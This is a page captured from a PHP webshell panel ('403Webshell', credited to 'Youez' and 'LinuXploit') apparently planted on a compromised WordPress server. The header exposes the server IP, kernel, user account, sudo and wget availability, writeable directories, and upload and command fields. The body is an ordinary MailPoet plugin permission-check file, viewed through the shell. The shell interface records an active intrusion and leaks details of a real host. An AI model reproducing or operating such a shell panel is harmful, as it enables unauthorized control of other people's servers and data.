403Webshell
Server IP : 35.236.43.222  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux order-form-vm-001 5.10.0-37-cloud-amd64 #1 SMP Debian 5.10.247-1 (2025-12-11) x86_64
User : deploy ( 1002)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/mastersystem.app/public/wp-content/plugins/mailpoet/lib/Util/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/mastersystem.app/public/wp-content/plugins/mailpoet/lib/Util/APIPermissionHelper.php
<?php // phpcs:ignore SlevomatCodingStandard.TypeHints.DeclareStrictTypes.DeclareStrictTypesMissing

namespace MailPoet\Util;

if (!defined('ABSPATH')) exit;


use MailPoet\WP\Functions as WPFunctions;

if (!class_exists('\WP_REST_Posts_Controller')) {
  require_once ABSPATH . '/wp-includes/rest-api/endpoints/class-wp-rest-controller.php';
  require_once ABSPATH . '/wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php';
}

class APIPermissionHelper extends \WP_REST_Posts_Controller {
  /** @var WPFunctions */
  private $wp;

  public function __construct(
    ?WPFunctions $wp = null
  ) {
    // constructor is needed to override parent constructor
    $this->wp = $wp ?: new WPFunctions();
  }

  /**
   * Checks if current user has permission to read a post or product
   *
   * @param \WP_Post|\WC_Product $post Post or product to check
   * @return bool Whether the current user can read the post or product
   */
  public function checkReadPermission($post): bool {
    // Handle WooCommerce products
    if (class_exists('\WC_Product') && $post instanceof \WC_Product) {
      $status = $post->get_status();
      // Published products are readable by anyone
      if ($status === 'publish') {
        return true;
      }

      // Private products are readable by editors and admins
      if ($status === 'private' && $this->wp->currentUserCan('edit_private_posts')) {
        return true;
      }

      // Draft, pending, etc. are only readable by admins
      if (in_array($status, ['draft', 'pending']) && $this->wp->currentUserCan('read_private_posts') && $this->wp->currentUserCan('edit_others_posts')) {
        return true;
      }

      return false;
    }

    // Handle regular WordPress posts
    if ($post instanceof \WP_Post) {
      return parent::check_read_permission($post);
    }

    return false;
  }

  /**
   * Checks if a given post type can be viewed or managed.
   * Refrain from checking `show_in_rest` contrary to what parent::check_is_post_type_allowed does
   *
   * @param \WP_Post_Type|string $post_type Post type name or object.
   * @return bool Whether the post type is allowed in REST.
   * @see parent::check_is_post_type_allowed
   */
  // phpcs:disable PSR1.Methods.CamelCapsMethodName
  protected function check_is_post_type_allowed($post_type) {
    if (!is_object($post_type)) {
      $post_type = get_post_type_object($post_type);
    }

    return !empty($post_type) && $post_type->public;
  }
}

Youez - 2016 - github.com/yon3zu
LinuXploit